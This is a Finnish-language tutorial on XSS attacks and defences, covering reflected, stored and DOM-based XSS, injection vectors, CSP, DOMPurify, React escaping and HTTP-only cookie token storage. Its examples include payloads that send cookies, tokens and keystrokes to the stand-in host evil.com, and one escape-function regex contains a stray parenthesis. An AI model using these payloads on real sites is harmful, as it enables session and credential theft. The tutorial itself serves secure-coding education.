

XSS-hyökkäykset (Cross-Site Scripting)

Sisällysluettelo

1. [Mikä on XSS?](#)
 2. [XSS-hyökkäyksen tyypit](#)
 3. [Käytännön esimerkkejä](#)
 4. [Miten hakkeri pääsee syöttämään JavaScriptiä?](#)
 5. [Suojautuminen XSS-hyökkäyksiltä](#)
 6. [HTTP-Only Cookie ja XSS](#)
 7. [Yhteenveto](#)
-

Mikä on XSS?

XSS (Cross-Site Scripting) on tietoturvaavaoittuvuus, jossa hyökkääjä saa verkkosivuston suorittamaan haitallista JavaScript-koodiaan muiden käyttäjien selaimissa.

Miksi XSS on vaarallinen?

Kun hakkerin JavaScript-koodi suoritetaan käyttäjän selaimessa, hän voi:

- **Varastaa istuntotokeneja** (session tokens, JWT)
 - **Kaapata käyttäjän istunnon** (session hijacking)
 - **Lukea arkaluontoista tietoa** sivulta
 - **Muokata sivun sisältöä** (phishing)
 - **Lähetää pyyntöjä käyttäjän nimissä**
 - **Asentaa haittaohjelmia**
-

XSS-hyökkäyksen tyypit

1. Reflected XSS (Heijastuva XSS)

Haitallinen koodi tulee **URL-parametrina tai lomakkeesta** ja heijastuu takaisin käyttäjälle.

Esimerkki:

```
// Haavoittuva backend-koodi (Express):
app.get('/search', (req, res) => {
  const searchQuery = req.query.q;
  res.send(`<h1>Hakutulokset haulle: ${searchQuery}</h1>`);
});
```

Hyökkäys:

```
https://example.com/search?q=<script>alert('XSS')</script>
```

Kun käyttäjä klikkaa tätä linkkiä, hänen selaimensa suorittaa `alert('XSS')`.

Vaarallisuus:

- Hakkeri lähettää uhreille linkkejä sähköpostissa tai sosiaalisessa mediassa
- Uhri klikkaa linkkiä → haitallinen koodi suoritetaan
- Hyökkääjä voi varastaa tokeneja tai istunnon

2. Stored XSS (Tallennettu XSS)

Haitallinen koodi **tallennetaan tietokantaan** (esim. kommentti, profiili) ja näytetään kaikille sivun kävijöille.

Esimerkki:

```
// Käyttäjä syöttää kommentin:
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

// Backend tallentaa kommentin tietokantaan ilman puhdistusta
db.query("INSERT INTO comments (text) VALUES ($1)", [userComment]);

// Kommentti näytetään sivulla:
<div className="comment">{comment.text}</div>
```

Mitä tapahtuu:

1. Hakkeri syöttää haitallisen skriptin kommenttina
2. Se tallennetaan tietokantaan
3. Jokainen käyttäjä, joka näkee kommentin, suorittaa skriptin
4. Käyttäjien cookiet lähetetään hyökkääjän palvelimelle

Vaarallisuus:

- **Vaikutus laaja** - kaikki sivun kävijät kärsivät
- **Pitkäaikainen** - hyökkäys pysyy aktiivisena kunnes se poistetaan
- **Yleinen** blogien, foorumien ja sosiaalisen median sivustoilla

3. DOM-based XSS

JavaScript käsittelee käyttäjän syötettä **vaarallisesti** ilman että data käy palvelimen kautta.

Esimerkki:

```
// Haavoittuva frontend-koodi:  
const name = window.location.hash.substring(1); // #John  
document.getElementById('welcome').innerHTML = `Terve ${name}`;
```

Hyökkäys:

```
https://example.com/#<img src=x onerror="alert('XSS')">
```

Mitä tapahtuu:

1. URL:n hash-osa luetaan JavaScriptillä
2. Se lisätään suoraan `innerHTML`:ään
3. `<img>` ei lataudu → `onerror` suoritetaan
4. Haitallinen koodi ajetaan

Vaarallisuus:

- Hyökkäys tapahtuu **täysin selaimessa**
- Palvelin ei näe hyökkäystä (ei loki-merkintöjä)
- Vaikea havaita ja estää

Käytännön esimerkkejä

Esimerkki 1: Token-varkaus localStorage:sta

```
// Uhrin sivusto tallentaa tokenin localStorage:een (HUONO ratkaisu)  
localStorage.setItem('authToken', 'eyJhbGciOiJIUzI1...');  
  
// Hakkeri syöttää kommentin:  

```

Mitä tapahtuu:

1. Kuva ei lataudu (`src="x"`)
2. `onerror`-handler suoritetaan
3. Token luetaan localStorage:sta
4. Token lähetetään hyökkääjän palvelimelle
5. Hyökkääjä voi nyt kirjautua uhrin tilille

Esimerkki 2: Sessio-kaappaus

```
// Hakkeri injektoi:
<script>
  document.cookie = "sessionId=; expires=Thu, 01 Jan 1970 00:00:00 UTC;";
  window.location = 'https://evil.com/login';
</script>
```

Mitä tapahtuu:

1. Uhrin istunto-cookie poistetaan
2. Käyttäjä ohjataan väärennölle kirjautumissivulle
3. Käyttäjä syöttää tunnuksensa
4. Hyökkääjä saa käyttäjätunnukset

Esimerkki 3: Keylogger

```
// Hakkeri injektoi:
<script>
  document.addEventListener('keypress', function(e) {
    fetch('https://evil.com/keys', {
      method: 'POST',
      body: e.key
    });
  });
</script>
```

Mitä tapahtuu:

- Jokainen näppäinpainallus lähetetään hyökkääjälle
- Salasanat, luottokorttinumerot, yms. varastetaan

Miten hakkeri pääsee syöttämään JavaScriptiä?

1. Lomakkeiden kautta

```
<!-- Kommenttilomake -->
<form action="/comment" method="POST">
  <textarea name="comment"></textarea>
  <button>Lähetä</button>
</form>
```

Hakkeri syöttää:

```
<script>alert('XSS')</script>
```

Jos backend ei puhdistusta syötettä, se tallennetaan ja näytetään sellaisenaan.

2. URL-parametrien kautta

```
https://example.com/profile?name=<script>alert('XSS')</script>
```

Jos sivusto näyttää `name`-parametrin ilman puhdistusta:

```
// Haavoittuva
res.send(`<h1>Profiili: ${req.query.name}</h1>`);
```

3. JSON-datan kautta

```
// API palauttaa käyttäjän syötteen:
{
  "username": "<img src=x onerror='alert(1)'"
}

// Frontend renderöi sen:
document.getElementById('user').innerHTML = data.username; // Vaarallista
```

4. File upload -toiminnon kautta

```
<!-- Hakkeri lataa tiedoston nimeltä: -->
<script>alert('XSS')</script>.jpg

<!-- Jos sivusto näyttää tiedostonimen puhdistamatta: -->
<p>Tiedosto <script>alert('XSS')</script>.jpg ladattu</p>
```

5. HTTP-headerien kautta

```
// Haavoittuva koodi lukee User-Agent headerin:
const userAgent = req.headers['user-agent'];
res.send(`<p>Selaimesi: ${userAgent}</p>`);
```

Hakkeri voi lähettää pyynnön muokatulla User-Agent headerilla:

```
User-Agent: <script>alert('XSS')</script>
```

Suojautuminen XSS-hyökkäyksiltä

1. Input Validation (Syötteen validointi)

Validoi kaikki käyttäjän syöte:

```
// Backend - tarkista että syöte on oikeaa muotoa
function validateUsername(username) {
  // Salli vain kirjaimet, numerot ja alaviiva
  const regex = /^[a-zA-Z0-9_]+$/;
  return regex.test(username);
}

if (!validateUsername(req.body.username)) {
  return res.status(400).json({ error: "Invalid username" });
}
```

2. Output Encoding (Tulosteen koodaus)

Koodaa data ennen näyttämistä:

```
// Vaarallista: suora HTML:n lisäys
res.send(`<h1>Terve ${username}</h1>`);

// Turvallista: käytä template engineä (esim. EJS)
res.render('profile', { username }); // EJS escapettaa automaattisesti
```

HTML Escape -funktio:

```
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  };
  return text.replace(/([<>"']/g, m => map[m]);
}
```

```
// Käyttö:
res.send(`

# Terve ${escapeHtml(username)}</h1>`);


```

3. Content Security Policy (CSP)

Aseta HTTP-header joka rajoittaa mistä JavaScript voidaan ladata:

```
// Express middleware
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; object-src 'none'"
  );
  next();
});
```

Mitä CSP tekee:

- Estää inline-skriptit (<script>alert('XSS')</script>)
- Sallii vain skriptit omasta domainista
- Estää eval() ja muut vaaralliset funktiot

4. Sanitize käyttäjän syöte

Käytä kirjastoja HTML:n puhdistamiseen:

```
import DOMPurify from 'isomorphic-dompurify';

// Backend
const cleanComment = DOMPurify.sanitize(userComment);
db.query("INSERT INTO comments (text) VALUES ($1)", [cleanComment]);
```

DOMPurify poistaa vaaralliset tagit:

```
const dirty = '<img src=x onerror="alert(1)">';
const clean = DOMPurify.sanitize(dirty);
// Tulos: '' (onerror poistettu)
```

5. React - automaattinen suojaus

React escapettaa automaattisesti JSX:ssä:

```
// TURVALLISTA - React escapettaa automaattisesti
function Comment({ text }) {
  return <div>{text}</div>;
}

// Jos text = "<script>alert('XSS')</script>"
// Renderöitynyt HTML: &lt;script&gt;alert('XSS')&lt;/script&gt;
```

**** VAARALLISTA 🤔 ***

```
// Älä käytä ilman sanitointia!
<div dangerouslySetInnerHTML={{ __html: userInput }} />

// Jos täytyy käyttää, sanitoi ensin:
import DOMPurify from 'dompurify';

<div dangerouslySetInnerHTML={{
  __html: DOMPurify.sanitize(userInput)
}} />
```

6. HTTP-Only Cookie tokenille

Tallenna refresh token HTTP-Only cookieen:

```
// Backend - aseta HTTP-Only cookie
res.cookie('refreshToken', token, {
  httpOnly: true,      // JavaScript ei pääse käsiksi
  secure: true,        // Vain HTTPS
  sameSite: 'strict'   // CSRF-suojaus
});
```

Miksi tämä suojaa XSS:ltä:

```
// localStorage - XSS voi varastaa
localStorage.setItem('token', token);
// Hakkeri: localStorage.getItem('token') ✓ Toimii

// HTTP-Only cookie - XSS ei pääse käsiksi
// Hakkeri: document.cookie X Ei näy HTTP-Only cookieta
```

HTTP-Only Cookie ja XSS

Miksi HTTP-Only Cookie on turvallisempi?

Vertailu:

Tallennuspaikka	JavaScript-pääsy	XSS-haavoittuva	Käyttö
localStorage	✓ Kyllä	✓ Kyllä	localStorage.getItem('token')
sessionStorage	✓ Kyllä	✓ Kyllä	sessionStorage.getItem('token')
Cookie (normaali)	✓ Kyllä	✓ Kyllä	document.cookie
HTTP-Only Cookie	✗ Ei	✗ Ei	Lähetetään automaattisesti

Käytännön esimerkki**Haavoittuva: localStorage**

```
// Login - backend palauttaa tokenin
res.json({ token: 'eyJhbGciOiJIUzI1...' });

// Frontend tallentaa localStorageiin
localStorage.setItem('token', data.token);

// XSS-hyökkäys:
<script>
  fetch('https://evil.com/steal?token=' + localStorage.getItem('token'));
</script>
// ✓ Onnistuu - token varastetaan
```

Turvallinen: HTTP-Only Cookie

```
// Login - backend asettaa HTTP-Only cookieen
res.cookie('refreshToken', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  maxAge: 7 * 24 * 60 * 60 * 1000 // 7 päivää
});

// Frontend - ei tarvitse tallentaa mihinkään
// Cookie lähetetään automaattisesti

// XSS-hyökkäys:
<script>
  console.log(document.cookie); // refreshToken EI näy
  // ✗ Epäonnistuu - JavaScript ei pääse käsiksi
</script>
```

Kaksoistokenijärjestelmä (Best Practice)

Access Token (lyhyt, 15 min):

- Tallennetaan **muistiin** (React state/context)
- Lähetetään **Authorization: Bearer <token>** headerissa
- Jos XSS varastaa, vahinko rajallinen (vanhenee nopeasti)

Refresh Token (pitkä, 7d):

- Tallennetaan **HTTP-Only cookieen**
- JavaScript ei pääse käsiksi
- XSS ei voi varastaa

```
// Frontend - AuthContext
const [accessToken, setAccessToken] = useState(null); // Muistissa
// refreshToken on HTTP-Only cookieessa (ei näy täällä)

// API-kutsu
fetch('/api/books', {
  headers: {
    'Authorization': `Bearer ${accessToken}` // Access token headerissa
  },
  credentials: 'include' // Refresh token cookieessa
});
```

Yhteenveto

XSS:n pääsyynteet

1. **Puutteellinen input validation** - ei tarkisteta mitä käyttäjä syöttää
2. **Puutteellinen output encoding** - data näytetään ilman escapointia
3. **Vaarallisten funktioiden käyttö** - `innerHTML`, `eval()`, `dangerouslySetInnerHTML`
4. **Tokenien tallentaminen localStorage:een** - XSS voi varastaa

Suojautumisen tarkistuslista

- ☐ **Validoi kaikki käyttäjän syöte** (backend)
- ☐ **Escapeta/koodaa kaikki tulosteet** (frontend & backend)
- ☐ **Käytä Content Security Policy (CSP)** headeria
- ☐ **Sanitoi HTML-syöte** DOMPurify:llä tai vastaavalla
- ☐ **Älä käytä innerHTML** - käytä `textContent` tai React
- ☐ **Älä käytä eval()** tai `Function()` konstruktoria
- ☐ **Tallenna tokenit HTTP-Only cookieen** (ei localStorage)
- ☐ **Käytä React:ia oikein** - vältä `dangerouslySetInnerHTML`
- ☐ **Päivitä riippuvuudet** säännöllisesti
- ☐ **Testaa sovellusta** XSS-haavoittuvuuksien varalta

Muista

Kaikki käyttäjän syöte on epäluotettavaa.

Älä koskaan luota siihen, että käyttäjä syöttää vain "normaaleja" merkkejä.

XSS vs. HTTP-Only Cookie

Hyökkäys	localStorage	HTTP-Only Cookie
XSS varastaa tokenin	✓ Onnistuu	✗ Epäonnistuu
CSRF	✗ Ei uhkaa	✓ Vaatii SameSite-suojauksen

Paras ratkaisu:

- **Access token** → Muisti (state) + Authorization header
- **Refresh token** → HTTP-Only cookie + SameSite=strict

Lisätietoa

- [OWASP XSS Prevention Cheat Sheet](#)
- [MDN: Cross-Site Scripting \(XSS\)](#)
- [Content Security Policy \(CSP\)](#)
- [DOMPurify - HTML Sanitizer](#)